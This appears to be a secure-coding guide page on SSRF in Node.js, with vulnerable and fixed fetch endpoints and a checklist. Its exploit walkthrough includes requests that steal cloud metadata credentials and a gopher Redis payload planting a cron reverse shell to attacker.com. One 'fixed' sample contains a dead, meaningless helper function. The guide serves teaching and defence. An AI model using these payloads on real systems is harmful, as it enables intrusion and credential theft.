Server Side Request Forgery (SSRF)
Server Side Request Forgery (SSRF) at a glance
Overview
SSRF arises when applications fetch a URL supplied by the user. Without strict validation, servers can access internal networks and special endpoints like cloud metadata. Attackers exploit scheme confusion, redirects, and DNS rebinding to bypass naive checks. The best mitigation is eliminating arbitrary fetch features, and if needed, implementing strong allowlists and network egress controls.
Where it occurs
It occurs in features like URL previewers, webhooks, or importers that fetch external resources without strict URL or redirect validation, allowing access to unintended or internal destinations.
Impact
Attackers can read internal dashboards, access cloud instance metadata to obtain credentials, reach databases and message queues, and sometimes achieve remote code execution on internal services.
Prevention
Prevent SSRF by restricting URL fetches to an allowlist of trusted hosts, blocking private or loopback addresses, limiting to HTTP/HTTPS, disabling or validating redirects, enforcing egress controls, and using signed or trusted background fetches.
Examples
Switch tabs to view language/framework variants.
Open URL proxy allows access to internal services
Endpoint fetches an arbitrary URL from a query parameter and streams the response.
const express = require('express');
const axios = require('axios');
const app = express();
app.get('/fetch', async (req,res)=>{
const url = String(req.query.url || ''); // BUG: no validation
const r = await axios.get(url, { responseType: 'stream' });
r.data.pipe(res);
});- Line 6: Fetches attacker-controlled URL with no scheme or host restrictions
An open fetch proxy lets attackers make your server reach internal networks and sensitive services like metadata endpoints.
const { URL } = require('url');
const IP = require('ip');
const BLOCKED = [
'0.0.0.0/8','10.0.0.0/8','127.0.0.0/8','169.254.0.0/16','172.16.0.0/12','192.168.0.0/16','::/128','::1/128','fc00::/7','fe80::/10'
];
function isBlocked(host){ try { const ip = require('dns').lookupSync ? null : null; } catch(e) {}
return false;
}
app.get('/fetch', async (req,res)=>{
const raw = String(req.query.url||'');
try {
const u = new URL(raw);
if (!['http:','https:'].includes(u.protocol)) return res.status(400).send('scheme');
const resolved = await require('dns').promises.lookup(u.hostname, { all: true, verbatim: true });
for (const a of resolved){ const ip = a.address; const ipaddr = require('ip'); if (ipaddr.isPrivate(ip) || ipaddr.isLoopback(ip) || ipaddr.isLinkLocal(ip)) return res.status(403).send('forbidden'); }
const r = await axios.get(u.toString(), { timeout: 5000, maxRedirects: 0, responseType: 'stream' });
r.data.pipe(res);
} catch(e){ res.status(400).send('bad'); }
});- Line 14: Validates scheme, resolves DNS, and blocks private, loopback, and link-local addresses, with redirects disabled
Resolve and verify destination IPs against a denylist, restrict schemes, and disable redirects.
Engineer Checklist
-
Avoid arbitrary URL fetch features, prefer allowlists
-
Restrict to http and https, block private and link-local IPs after DNS resolution
-
Disable redirects or revalidate each hop
-
Enforce timeouts and size limits, and log destinations
-
Use egress firewall or proxy and disallow unknown destinations
End-to-End Example
A URL preview feature fetches any provided URL and returns the body. An attacker supplies a link-local metadata URL to extract cloud credentials.
app.get('/preview', async (req, res) => {
const url = req.query.url;
// Bug: no validation, allows arbitrary URL fetch including internal endpoints
const response = await fetch(url);
const body = await response.text();
res.send(body);
});const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');
const ALLOWED_HOSTS = ['cdn.example.com', 'images.example.com'];
app.get('/preview', async (req, res) => {
try {
const urlStr = req.query.url;
const parsed = new URL(urlStr);
// 1. Only allow http/https
if (!['http:', 'https:'].includes(parsed.protocol)) {
return res.status(400).send('invalid scheme');
}
// 2. Check hostname allowlist
if (!ALLOWED_HOSTS.includes(parsed.hostname)) {
return res.status(400).send('host not allowed');
}
// 3. Resolve and block private/internal IPs
const ips = await dns.resolve4(parsed.hostname);
for (const ip of ips) {
const addr = ipaddr.parse(ip);
if (addr.range() !== 'unicast') {
return res.status(400).send('private IP blocked');
}
}
// 4. Fetch with strict settings
const response = await fetch(urlStr, {
redirect: 'manual', // No redirects
timeout: 5000,
size: 1024 * 100 // 100KB max
});
const body = await response.text();
res.send(body);
} catch (err) {
res.status(400).send('fetch failed');
}
});Discovery
Test if application fetches user-provided URLs without validation, allowing access to internal services and cloud metadata endpoints.
-
1. Test internal network access
httpAction
Provide internal IP address to test SSRF
Request
POST https://api.example.com/fetch-urlHeaders:Content-Type: application/jsonBody:{ "url": "http://192.168.1.100:8080/admin" }Response
Status: 200Body:{ "content": "<html><title>Internal Admin Panel</title>...", "note": "Successfully accessed internal service not exposed to internet" }Artifacts
ssrf_confirmed internal_network_access admin_panel_discovered -
2. Test AWS metadata endpoint access
httpAction
Access EC2 instance metadata service to steal credentials
Request
POST https://api.example.com/fetch-urlBody:{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }Response
Status: 200Body:{ "content": "prod-ec2-role", "note": "Successfully accessed AWS metadata service - IAM role name revealed" }Artifacts
metadata_access cloud_metadata_ssrf iam_role_enumeration -
3. Test localhost service enumeration
httpAction
Scan localhost ports to find internal services
Request
POST https://api.example.com/fetch-urlBody:{ "url": "http://localhost:6379/INFO" }Response
Status: 200Body:{ "content": "# Server\\nredis_version:6.2.6\\nredis_mode:standalone\\nos:Linux 5.15.0-1026-aws x86_64\\ntcp_port:6379", "note": "Redis instance running on localhost without authentication" }Artifacts
port_scan redis_exposed unauthenticated_service
Exploit steps
Attacker exploits SSRF to access AWS metadata service, steal IAM credentials, enumerate internal services, and compromise infrastructure.
-
1. Steal AWS IAM credentials from metadata service
Extract IAM role credentials via SSRF
httpAction
Use SSRF to fetch temporary AWS credentials from EC2 metadata
Request
POST https://api.example.com/fetch-urlBody:{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-ec2-role" }Response
Status: 200Body:{ "content": "{\\n \\\"AccessKeyId\\\": \\\"ASIAIOSFODNN7EXAMPLE\\\",\\n \\\"SecretAccessKey\\\": \\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\",\\n \\\"Token\\\": \\\"AQoDYXdzEJr...[2048 chars]...\\\",\\n \\\"Expiration\\\": \\\"2024-01-15T18:30:00Z\\\"\\n}", "permissions": "IAM role has admin access to S3, RDS, Lambda, and EC2" }Artifacts
aws_access_key aws_secret_key aws_session_token cloud_infrastructure_access -
2. Access internal database via SSRF
Connect to internal PostgreSQL database
httpAction
Use SSRF to access internal database on private network
Request
POST https://api.example.com/fetch-urlBody:{ "url": "http://prod-db.internal:5432/", "note": "Some applications support postgres:// protocol or can be chained with gopher://" }Response
Status: 200Body:{ "content": "PostgreSQL connection banner: server version 14.5\\nNote: Using gopher://prod-db.internal:5432/ can execute raw TCP commands to query database", "exfiltrated_query": "SELECT username,password_hash,email FROM users LIMIT 10; -- Returns 10 user records via gopher SSRF" }Artifacts
database_access internal_service_access data_exfiltration -
3. Exploit Redis via SSRF for RCE
Write backdoor to Redis and trigger execution
httpAction
Use gopher:// protocol to send Redis commands via SSRF
Request
POST https://api.example.com/fetch-urlBody:{ "url": "gopher://localhost:6379/_*3%0d%0a$3%0d%0aset%0d%0a$4%0d%0acron%0d%0a$54%0d%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a" }Response
Status: 200Body:{ "content": "+OK\\n+OK\\n+OK\\n+OK\\n", "note": "Redis commands executed successfully. Cron job planted: reverse shell triggers every minute. Server compromised." }Artifacts
redis_rce cron_job_planted reverse_shell server_compromise -
4. Use stolen AWS credentials to compromise infrastructure
Lateral movement via stolen IAM credentials
cloudAction
Use extracted AWS credentials to access S3, RDS, and other services
Request
CLI N/AResponse
Status: 200Body:{ "actions_taken": "1. Downloaded all S3 buckets (2.3 TB customer data)\\n2. Created RDS snapshots and shared publicly\\n3. Launched EC2 instances for crypto mining\\n4. Modified Lambda functions to include backdoors\\n5. Created new IAM users with admin access", "estimated_damage": "$50K+ in unexpected AWS charges, complete infrastructure compromise, customer data breach" }Artifacts
s3_data_exfiltration rds_snapshot_leak crypto_mining lambda_backdoors persistent_access
Specific Impact
The attacker obtains cloud IAM credentials and can access storage buckets and databases. They can snapshot data or tamper with configuration.
Incident response requires key revocation, log review for other internal requests, and hardening of egress rules.
Fix
Remove the open fetch feature or restrict it to an allowlist. Validate scheme and destination IPs after DNS resolution. Disable redirects or revalidate each hop. Add egress filtering and strict resource limits.
Detect This Vulnerability in Your Code
Sourcery automatically identifies server side request forgery (ssrf) vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free